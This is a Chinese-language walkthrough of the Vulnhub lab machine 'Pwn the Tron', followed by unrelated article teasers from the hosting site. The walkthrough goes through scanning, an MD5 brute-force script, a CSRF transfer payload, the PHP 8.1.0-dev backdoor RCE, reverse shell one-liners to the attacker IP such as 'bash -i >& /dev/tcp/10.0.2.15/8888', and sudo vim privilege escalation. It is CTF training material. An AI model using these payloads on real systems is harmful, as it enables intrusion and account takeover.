Vulnhub靶机:Pwn the Tron

一、介绍

运行环境:Virtualbox

攻击机:kali(10.0.2.15)

靶机:Pwn the Tron(10.0.2.40)

目标:获取靶机root权限和flag

靶机下载地址:https://www.vulnhub.com/entry/pwn-the-tron-1,721/

二、信息收集

使用nmap主机发现,靶机ip为10.0.2.40

在这里插入图片描述

使用nmap进行端口扫描,发现靶机开放端口:22、80

在这里插入图片描述

22端口:根据nmap扫描结果ssh为OpenSSH 7.6p1,可以使用searchsploit查找该版本的openssh的历史漏洞,存在用户名枚举漏洞

searchsploit OpenSSH 7.6p1          

在这里插入图片描述

使用cve-2018-15473 exp,尝试枚举用户名,发现枚举失败,可能已修复该漏洞

python cve-2018-15473.py --port 22 --userList user.txt 10.0.2.40 

在这里插入图片描述

80端口:打开网站发现是一个图片,讲一个擎天柱和霸天虎的故事,里面可能会有提示信息

在这里插入图片描述

直接上dirb工具进行目录爆破,发现/Travel/目录

在这里插入图片描述

在这里插入图片描述在这里插入图片描述

里面存在提示信息

擎天柱能够找到它们似乎位于同一位置的 2 个密钥的加密坐标。
你(杰克)被大黄蜂和阿西派去获取密钥,在声波能够解密它们之前完成!
你能找到@decepticon基地来获得iacon_codes吗?
(霸天虎可能会出于安全考虑删除iacon代码,想办法)

坐标的加密消息:
DAAB260727E470E56E77EC22E8F3D413
解密消息的格式:
/iacon_code/(一个国家的首都)/{Latitude_dd.dd-Longitude_dd.dd}.txt
d = 0-9 之间的任意数字

可以在该目录源码找到隐藏信息

The Encrypted Message: daab260727e470e56e77ec22e8f3d413

@decepticon-base

在这里插入图片描述

需要找到霸天虎的基地,使用sherlock工具来寻找。

Sherlock是一个开源工具,可以在 300 个网站的社交媒体上查找用户名。

sherlock decepticon-base

在这里插入图片描述

找到7个站点,我们可以先看github上的https://www.github.com/decepticon-base

由于github网站无法访问我这里使用的是github镜像网站https://hub.yzuu.cf/decepticon-base,发现iacon_code被删除了

在这里插入图片描述

通过Wayback Machine查询到github的过去文档(访问不了,我这里是找网上的wp,直接拿他们找到的iacon_code)

CYB3R-6969
C0D3-20
C0D3-007
CYB3R-9000
OMEGA-001
OMEGA-002
OMEGA-003
R3LIC-1337
SP4RK-2727
SAB3RSWORD-7777

根据提示编写python脚本,解密daab260727e470e56e77ec22e8f3d413

破解得到:/R3LIC-1337/Tokyo/Latitude_95.37-Longitude_95.37.txt

import hashlib
countries_capitals=['存放国家首都列表,注意首字母要大写']
iacon_code = ['CYB3R-6969','C0D3-20','C0D3-007','CYB3R-9000','OMEGA-001','OMEGA-002','OMEGA-003','R3LIC-1337','SP4RK-2727','SAB3RSWORD-7777']for line in countries_capitals:for icode in iacon_code:for i1 in range(10,100):for i2 in range(10, 100):message_str='/'+icode+'/'+line+'/Latitude_'+str(i1)+'.'+str(i2)+'-Longitude_'+str(i1)+'.'+str(i2)+'.txt'if 'daab260727e470e56e77ec22e8f3d413'==hashlib.md5(message_str.encode()).hexdigest():print(message_str)exit()

在这里插入图片描述

浏览器访问得到的地址

在这里插入图片描述

恭喜你通过了第一阶段!

你的勇气让我们获得了 4 把钥匙中的 2 把!

这是您的第一个标志:Flag1{873b375210b4297e9bdea1ed183c2da5}

不过坏消息:/威震天有 2 把钥匙可供他使用。Prime 和 Bumblebee 从 Starscream 那里得到了关于他藏在 Knockout 商店最昂贵的东西中的秘密物品的信息,Starscream是威震天的叛徒和前指挥官。该项目具有管理员凭据。

商店链接:/W4RSHIP_Sh0P.php

祝你好运!

访问Knockout商店

在这里插入图片描述

查看源码可以找到三个管理员账号:lord_starscream、admin_boss、soundwave

在这里插入图片描述

在商店页面上有提示,管理员会点击链接,可以尝试csrf攻击利用

我们的管理员将单击任何以 http 或 https 开头的链接,以防您想分享一些甜蜜消息的链接!

在这里插入图片描述

三、漏洞利用

点击商店的购买按键会跳转到登录界面,我们可以注册一个账号密码:tom/123456

在这里插入图片描述

在这里插入图片描述

登录,可以看到我们的初始账号余额为0

在这里插入图片描述

发现一个转账功能,页面显示只有管理员账号才能转账,当我们点击转账按钮时发现该功能传递参数是使用GET方式传递:http://10.0.2.40/W4RSHIP_Sh0P_transfer.php?to=admin&amount=99999&from=tom

在这里插入图片描述

我们可以构造payload:http://10.0.2.40/W4RSHIP_Sh0P_transfer.php?to=tom&amount=99999&from=lord_starscream

在商店首页留言处发送payload,回到tom用户页面,我们可以看到我们的账户余额变成99999

在这里插入图片描述
在这里插入图片描述

我们回到商店首页购买加密信息

在这里插入图片描述

发现点击购买没反应,发现是谷歌js访问不了,我们无法在页面上提交购买请求

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

可以通过pay()函数的源码我们编写python脚本,来获取购买数据,运行获得账号密码和一个新的url

import requestsurl = "http://10.0.2.40/W4RSHIP_Sh0P_buy.php"
data= {"itemid": 2,"price": 9999.00}
cookies = {"PHPSESSID":"08gjhmtuser897vu6607d8ktmo"}
r = requests.post(url=url,data=data,cookies=cookies)
print(r.text)

在这里插入图片描述

Purchase Successful!Megatron Login Panel URL: /M3G4TR0N_SUPR3M3/login.php Username = L0RD_M3G4Tr0N Password = freakishlylongpasswordforl0gin

使用账号密码登录新的网站,得到第二个flag:Flag2{8278ad4f45efef155f2569c1be074d2d}

在这里插入图片描述

进入网页开发者工具,点击刷新,查看网络,响应头有X-Powered-By信息,X-Powered-By显示的是web应用框架信息

X-Powered-By:PHP/8.1.0-dev

在这里插入图片描述

使用searchsploit查找该版本的php的历史漏洞,发现远程代码执行漏洞

searchsploit PHP 8.1.0-dev

在这里插入图片描述

下载exp,并执行

在这里插入图片描述

反弹shell

反弹shell失败命令
nc -e /bin/bash 10.0.2.15 8888
bash -i >& /dev/tcp/10.0.2.15/8888 0>&1
bash -c 'bash -i >& /dev/tcp/10.0.2.15/8888 0>&1'使用双引号,反弹shell成功
bash -c "bash -i >& /dev/tcp/10.0.2.15/8888 0>&1"

在这里插入图片描述

使用python获取交互式shell

python3 -c 'import pty; pty.spawn("/bin/bash")'

四、提权

查找/home目录,发现存在两个用户,翻一翻,找到flag3,但没有权限访问

在这里插入图片描述

发现/.ssh/pem文件夹,里面有私钥文件,并且 .ssh/authorized_keys 文件里面的公钥和/.ssh/pem文件夹里面的公钥文件一样,因此可以使用ssh私钥登录

在这里插入图片描述

在这里插入图片描述

将ssh私钥复制保存到本地,并赋予600权限

使用私钥登录ssh

在这里插入图片描述

查看是否有可利用的特权命令,发现存在/usr/bin/vim命令,可以免密执行,但是只作用在/var/Decepticon/*下面的文件

在这里插入图片描述

使用vim提权

sudo vim /var/Decepticon/shell
:set shell=/bin/sh
:shell

在这里插入图片描述

获取flag

flag3

在这里插入图片描述

flag4

在这里插入图片描述

参考链接:Vulnhub-PWN THE TRON: 1渗透-CSDN博客

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/438898.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【如何轻松拿捏LIO-SAM?】今天终于来啦!!

中科院保研硕士教你如何轻松拿捏LIO-SAM,不仅会对LIO-SAM的论文原理和代码进行详细讲解,也会对SLAM中的数学知识、LOAM、LeGO-LOAM的论文原理及代码进行详细讲解,2024年1月28日开始更新啦!之后每周日晚20:00更新一章,欢…

Windows Server 2003 Web服务器搭建

系列文章目录 目录 系列文章目录 前言 一、Web服务器是什么? 二、配置服务器 1.实验环境搭建 2.服务器搭建 1)控制面板中找到增加或删除程序打开 2)点击增加程序 3)安装Web服务器 4)查看安装是否成功 5)打开Internet信息服务(IIS)管理器,进行配置 6)找…

Codeforces Round 785 C. Palindrome Basis

C. Palindrome Basis 题意 定义一个正整数 a a a 是回文的(没有前导 0 0 0)当且仅当: a a a 的十进制表示形式回文 给定一个正整数 n n n ,求出将 n n n 拆分成若干个回文数之和的方案数 思路 这是一个经典模型&#xff0…

简单、在线、实时的多目标跟踪实现(C++)

文章目录 依赖建立镜像运行demo下载数据创建简单的数据链接在镜像中编译和运行代码代码依赖 Ubuntu 16.04Docker 18.09.4OpenCV 3.4.2Boost 1.58.0建立镜像 cd /path/to/sort-cpp docker build -t sort . ./docker_run.sh运行demo

路由进阶

文章目录 1.路由的封装抽离2.声明式导航 - 导航链接3.声明式导航-两个类名自定义匹配的类名 4.声明式导航 - 跳转传参查询参数传参动态路传参两种传参方式的区别动态路由参数可选符 5.Vue路由 - 重定向6.Vue路由 - 4047.Vue路由 - 模式设置8.编程式导航 - 两种路由跳转9.编程式…

Node.js-express

1.了解Ajax 1.1 什么是ajax Ajax的全称是Asynchronous Javascript And XML(异步Js和XML). 通俗的理解:在网页中利用XMLHttpRequest对象和服务器进行数据交互的方式,就是Ajax 1.2 为什么要学习Ajax 之前所学的技术&#xff0c…

Go语言基础之单元测试

1.go test工具 Go语言中的测试依赖go test命令。编写测试代码和编写普通的Go代码过程是类似的,并不需要学习新的语法、规则或工具。 go test命令是一个按照一定约定和组织的测试代码的驱动程序。在包目录内,所有以_test.go为后缀名的源代码文件都是go …

Linux部署幻兽帕鲁服务器,PalWorld开服联机教程,保姆级教程

Linux系统搭建幻兽帕鲁服务器,PalWorld开服联机教程,保姆级教程 最近这游戏挺火,很多人想跟朋友联机,如果有专用服务器,就不需要房主一直开着电脑,稳定性也好得多。 幻兽帕鲁简介 《幻兽帕鲁》是一款游戏…

快速上手Git

目录 一、Git概述 二、Git的常用命令 Git全局配置 获取Git仓库 基本概念 本地仓库操作 远程仓库操作 分支操作 标签操作 三、在IDEA中使用Git 在IDEA中配置Git 本地仓库操作 远程仓库操作 分支操作 冲突解决 一、Git概述 Git是一个分布式版本控制工具&…

Python算法题集_和为K的子数组

本文为Python算法题集之一的代码示例 题目560:和为K的子数组 说明:给你一个整数数组 nums 和一个整数 k ,请你统计并返回 该数组中和为 k 的子数组的个数 。 子数组是数组中元素的连续非空序列。 示例 1: 输入:nu…

MOS管驱动电路设计及其中电阻的作用

MOS管驱动电路要求 为了能够充分精确地导通和关断MOS管,设计一种可靠稳定的驱动及保护电路是必要的。一般来说,MOS管的驱动电路需要满足以下要求: ① 开关管的开通过程,驱动电流能够提供较大的充电电流,尽量减少米勒电…

什么是正向代理?为什么要使用它?

在计算机网络中,代理服务器(Proxy Server)是一种充当客户端和目标服务器之间的中间人的计算机或应用程序。代理服务器可以用于多种目的,其中之一就是正向代理。 正向代理的定义 正向代理是一种代理服务器配置方式,它…